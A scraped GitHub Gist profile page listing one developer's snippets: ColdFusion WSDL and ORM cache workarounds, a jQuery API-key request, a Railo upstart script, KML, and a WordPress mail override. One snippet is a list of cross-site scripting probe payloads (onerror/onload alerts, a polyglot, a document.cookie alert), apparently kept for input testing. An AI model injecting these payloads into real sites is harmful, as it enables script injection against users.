Skip to content

Instantly share code, notes, and snippets.

View jbrunemann's full-sized avatar

Jan Brünemann jbrunemann

View GitHub Profile
@jbrunemann
jbrunemann / test1.cfc
Created May 24, 2012 13:51
wsdl2 does not show extended functions
<cfscript>
component displayname="test1" extends="test2"
{
remote Any function ping1() {}
}
</cfscript>
<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions targetNamespace="http://ws.test" xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:impl="http://ws.test" xmlns:intf="http://ws.test" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns1="http://rpc.xml.coldfusion" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:wsdlsoap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<!--WSDL created by ColdFusion version 9,0,1,274733-->
<wsdl:types>
<schema targetNamespace="http://ws.test" xmlns="http://www.w3.org/2001/XMLSchema">
<import namespace="http://rpc.xml.coldfusion"/>
<import namespace="http://schemas.xmlsoap.org/soap/encoding/"/>
<complexType name="Enumeration">
<sequence>
<element name="enumerationProp" nillable="true" type="xsd:string"/>
@jbrunemann
jbrunemann / Application.cfc
Last active December 16, 2015 01:09
Work around for ColdFusion 10.0 Bug 3327626: Another CacheManager with same name '_ORM_........' already exists in the same VM.
<cfscript>
component
{
public void function onError(required any exception, string eventName) output=true
{
if (structKeyExists(arguments.exception, "type") and arguments.exception.type eq "net.sf.ehcache.CacheException" and structKeyExists(arguments.exception, "message") and arguments.exception.message contains "Another CacheManager with same name")
{
var cacheMan_obj = createObject("java", "net.sf.ehcache.CacheManager").getCacheManager("_ORM_" & this.name);
cacheMan_obj.shutdown();
}
var variables = {
username: "username",
password: "password"
};
var jsonString = JSON.stringify(variables);
jQuery.post(
"https://sandbox.api.cso20.net/v1/jobapi/getApiKey.json",
{args: jsonString},
function (data) {console.log(data);}
);
"><img src=x onerror=alert(1)>
']); <body onload="alert(1);">
'"><img src=x onerror=prompt(0);>
%22%20onload=alert(1);%20%20noval=%22
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(document.cookie) type=submit>'-->"></script><script>alert(document.location)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
@jbrunemann
jbrunemann / railo.conf
Created October 13, 2014 13:00
Simple Railo upstart script
description "Railo Server"
start on startup
stop on shutdown
start on runlevel [2345]
stop on runlevel [!2345]
respawn
respawn limit 10 5
<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
<script>
$(document).ready(function () {
var variables = {
<?xml version="1.0" encoding="utf-8" ?>
<kml xmlns="http://www.opengis.net/kml/2.2">
<Document id="root_doc">
<Schema name="buurt_test" id="buurt_test">
<SimpleField name="WK_CODE" type="string"></SimpleField>
<SimpleField name="WK_NAAM" type="string"></SimpleField>
<SimpleField name="GM_CODE" type="string"></SimpleField>
<SimpleField name="GM_NAAM" type="string"></SimpleField>
<SimpleField name="IND_WBI" type="string"></SimpleField>
<SimpleField name="WATER" type="string"></SimpleField>
@jbrunemann
jbrunemann / overrides.php
Last active May 17, 2017 07:26
wp_mail to console
<?php
function wp_mail($to, $subject, $message) {
$stdout = fopen('php://stdout', 'w');
$output = str_repeat('-', 70)."\n\033[94mTO\e[0m: \033[96m{$to}\e[0m\n\033[94mSUBJECT\e[0m: \033[96m{$subject}\e[0m\n{$message}\n".str_repeat('-', 70)."\n";
fwrite($stdout, $output);
return true;
}